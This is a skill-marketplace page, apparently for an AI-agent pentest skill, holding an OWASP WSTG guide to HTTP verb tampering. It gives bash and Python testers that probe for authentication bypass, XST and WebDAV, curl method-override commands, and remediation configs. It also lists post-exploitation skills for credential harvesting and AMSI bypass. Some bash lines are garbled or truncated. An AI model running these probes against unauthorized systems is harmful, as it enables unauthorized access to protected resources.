SOC 직업 분류 기준
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-inpv-03명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
SKILL.md 표시 중
macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
| name | wstg-inpv-03 |
| description | Testing for HTTP Verb Tampering |
| category | input-validation |
| owasp_id | WSTG-INPV-03 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["injection","input-validation","xss","sqli","wstg","inpv"] |
| tech_stack | [] |
| cwe_ids | ["CWE-89"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-INPV-03
Testing for HTTP Verb Tampering
HTTP Verb Tampering exploits web servers or applications that respond differently to various HTTP methods (GET, POST, PUT, DELETE, etc.). Attackers may bypass security controls by using alternative HTTP methods that aren't properly restricted, potentially gaining unauthorized access to protected resources.
#!/bin/bash
TARGET="https://target.com"
ENDPOINT="/admin"
# Test common HTTP methods
METHODS=("GET" "POST" "PUT" "DELETE" "PATCH" "HEAD" "OPTIONS" "TRACE" "CONNECT")
echo "[*] Testing HTTP methods on $TARGET$ENDPOINT"
for method in "${METHODS[@]}"; do
response=$(curl -s -o /dev/null -w "%{http_code}" -X "$method" "$TARGET$ENDPOINT")
echo " $method: "
-e
curl -s -I -X OPTIONS | grep -i
-e
curl -s -o /dev/null -w -X
#!/usr/bin/env python3
"""
HTTP Verb Tampering Vulnerability Tester
"""
import requests
from requests.auth import HTTPBasicAuth
class VerbTamperingTester:
def __init__(self, base_url):
self.base_url = base_url
self.findings = []
self.session = requests.Session()
HTTP_METHODS = [
'GET', 'POST', 'PUT', 'DELETE', 'PATCH',
'HEAD', 'OPTIONS', 'TRACE', 'CONNECT',
'PROPFIND', 'PROPPATCH', 'MKCOL', 'COPY', 'MOVE',
'LOCK', 'UNLOCK', 'VERSION-CONTROL', 'REPORT',
'CHECKOUT', 'CHECKIN', 'UNCHECKOUT',
# Arbitrary methods (should be rejected)
'JEFF', 'FAKE', 'TEST', 'DEBUG'
]
def test_methods(self, endpoint):
"""Test all HTTP methods on endpoint"""
print(f"\n[*] Testing methods on {endpoint}")
results = {}
url = f"{self.base_url}{endpoint}"
for method in self.HTTP_METHODS:
try:
response = self.session.request(method, url, timeout=10)
results[method] = {
'status': response.status_code,
'length': len(response.content)
}
print(f" {method}: {response.status_code} ({len(response.content)} bytes)")
except Exception as e:
results[method] = {'status': 'Error', 'error': str(e)}
return results
def test_auth_bypass(self, protected_endpoint, valid_creds=None):
"""Test if authentication can be bypassed via method change"""
print(f"\n[*] Testing authentication bypass...")
url = f"{self.base_url}{protected_endpoint}"
# Get baseline with authentication
if valid_creds:
auth = HTTPBasicAuth(valid_creds[0], valid_creds[1])
auth_response = self.session.get(url, auth=auth)
print(f" Authenticated GET: {auth_response.status_code}")
# Get baseline without authentication
unauth_get = self.session.get(url)
print(f" Unauthenticated GET: {unauth_get.status_code}")
# Test other methods without authentication
bypass_methods = ['POST', 'PUT', 'HEAD', 'OPTIONS', 'TRACE', 'JEFF']
for method in bypass_methods:
try:
response = self.session.request(method, url)
# Check if we get different (successful) response
if response.status_code == 200 and unauth_get.status_code in [401, 403]:
print(f" [VULN] {method} bypasses authentication! ({response.status_code})")
self.findings.append({
'type': 'Authentication Bypass',
'method': method,
'endpoint': protected_endpoint,
'severity': 'Critical'
})
except:
pass
def test_authorization_bypass(self, admin_endpoint, user_session):
"""Test if authorization can be bypassed via method change"""
print(f"\n[*] Testing authorization bypass...")
url = f"{self.base_url}{admin_endpoint}"
self.session.cookies.update(user_session)
# Test access with regular user credentials
methods = ['GET', 'POST', 'PUT', 'DELETE', 'HEAD', 'JEFF']
for method in methods:
try:
response = self.session.request(method, url)
if response.status_code == 200:
# Check if response contains admin content
if 'admin' in response.text.lower() or len(response.content) > 100:
print(f" [WARN] {method} returns content ({response.status_code})")
self.findings.append({
'type': 'Potential Authorization Bypass',
'method': method,
'endpoint': admin_endpoint,
'severity': 'High'
})
except:
pass
def test_trace_xst(self):
"""Test for Cross-Site Tracing (XST) via TRACE method"""
print(f"\n[*] Testing for XST (TRACE method)...")
url = self.base_url
headers = {'X-Custom-Header': 'XST-Test-Value'}
try:
response = self.session.request('TRACE', url, headers=headers)
if response.status_code == 200:
if 'XST-Test-Value' in response.text:
print(f" [VULN] TRACE method enabled - XST possible!")
self.findings.append({
'type': 'Cross-Site Tracing (XST)',
'method': 'TRACE',
'severity': 'Medium',
'detail': 'TRACE reflects headers including cookies'
})
else:
print(f" [INFO] TRACE enabled but not reflecting headers")
else:
print(f" [OK] TRACE method disabled ({response.status_code})")
except:
pass
def test_webdav_methods(self):
"""Test for WebDAV methods"""
print(f"\n[*] Testing WebDAV methods...")
webdav_methods = ['PROPFIND', 'PROPPATCH', 'MKCOL', 'COPY', 'MOVE', 'LOCK', 'UNLOCK']
for method in webdav_methods:
try:
response = self.session.request(method, self.base_url)
if response.status_code not in [405, 501]:
print(f" [WARN] {method} enabled ({response.status_code})")
self.findings.append({
'type': 'WebDAV Method Enabled',
'method': method,
'severity': 'Low',
'detail': 'WebDAV methods should be disabled if not needed'
})
except:
pass
def generate_report(self):
"""Generate findings report"""
print("\n" + "="*60)
print("HTTP VERB TAMPERING REPORT")
print("="*60)
if not self.findings:
print("\nNo significant vulnerabilities found.")
else:
for f in self.findings:
print(f"\n[{f['severity']}] {f['type']}")
print(f" Method: {f['method']}")
if 'endpoint' in f:
print(f" Endpoint: {f['endpoint']}")
if 'detail' in f:
print(f" Detail: {f['detail']}")
def run_tests(self, endpoints=None):
"""Run all verb tampering tests"""
if endpoints is None:
endpoints = ['/admin', '/api/admin', '/dashboard', '/settings']
for endpoint in endpoints:
self.test_methods(endpoint)
self.test_auth_bypass('/admin')
self.test_trace_xst()
self.test_webdav_methods()
self.generate_report()
# Usage
tester = VerbTamperingTester("https://target.com")
tester.run_tests()
#!/bin/bash
TARGET="https://target.com/admin"
# Test method override headers
echo "[*] Testing method override headers..."
# X-HTTP-Method-Override
curl -s -X POST -H "X-HTTP-Method-Override: DELETE" "$TARGET" -o /dev/null -w "X-HTTP-Method-Override: DELETE -> %{http_code}\n"
# X-HTTP-Method
curl -s -X POST -H "X-HTTP-Method: PUT" "$TARGET" -o /dev/null -w "X-HTTP-Method: PUT -> %{http_code}\n"
# X-Method-Override
curl -s -X POST -H "X-Method-Override: PATCH" "$TARGET" -o /dev/null -w "X-Method-Override: PATCH -> %{http_code}\n"
# Query parameter method override
curl -s -X POST "$TARGET?_method=DELETE" -o /dev/null -w "_method=DELETE parameter -> %{http_code}\n"
# Body parameter override
curl -s -X POST -d "_method=DELETE" "$TARGET" -o /dev/null -w "_method=DELETE body -> %{http_code}\n"
# Burp Suite Intruder configuration
# Position: HTTP method
# Payload list:
GET
POST
PUT
DELETE
PATCH
HEAD
OPTIONS
TRACE
CONNECT
PROPFIND
COPY
MOVE
LOCK
UNLOCK
MKCOL
FAKE
# Also test with authentication removed
# Compare response codes and lengths
| Tool | Purpose |
|---|---|
| curl | Manual method testing |
| Burp Suite | Intercept and modify methods |
| Nmap http-methods | Script for method enumeration |
| OWASP ZAP | Web scanner |
# Python/Flask - Explicitly define allowed methods
from flask import Flask, request, abort
app = Flask(__name__)
# Only allow specific methods per endpoint
@app.route('/api/resource', methods=['GET', 'POST'])
def resource():
if request.method == 'GET':
return get_resource()
elif request.method == 'POST':
return create_resource()
# Deny all other methods globally
@app.before_request
def check_method():
allowed = ['GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'HEAD', 'OPTIONS']
if request.method not in allowed:
abort(405)
# Disable TRACE
@app.after_request
def disable_trace(response):
if request.method == 'TRACE':
return '', 405
return response
# Nginx - Restrict HTTP methods
location /admin {
limit_except GET POST {
deny all;
}
# Disable TRACE
if ($request_method = TRACE) {
return 405;
}
}
# Apache - Restrict methods
<Location "/admin">
<LimitExcept GET POST>
Require all denied
</LimitExcept>
# Disable TRACE
TraceEnable off
</Location>
| Finding | CVSS | Severity |
|---|---|---|
| Authentication bypass via method | 9.8 | Critical |
| Authorization bypass via method | 8.1 | High |
| TRACE method enabled (XST) | 5.3 | Medium |
| WebDAV methods enabled | 4.3 | Medium |
| Arbitrary methods accepted | 3.1 | Low |
| CWE ID | Title |
|---|---|
| CWE-650 | Trusting HTTP Permission Methods on the Server Side |
[ ] All HTTP methods tested
[ ] Authentication bypass tested
[ ] Authorization bypass tested
[ ] TRACE method tested (XST)
[ ] WebDAV methods tested
[ ] Method override headers tested
[ ] Arbitrary methods tested
[ ] Findings documented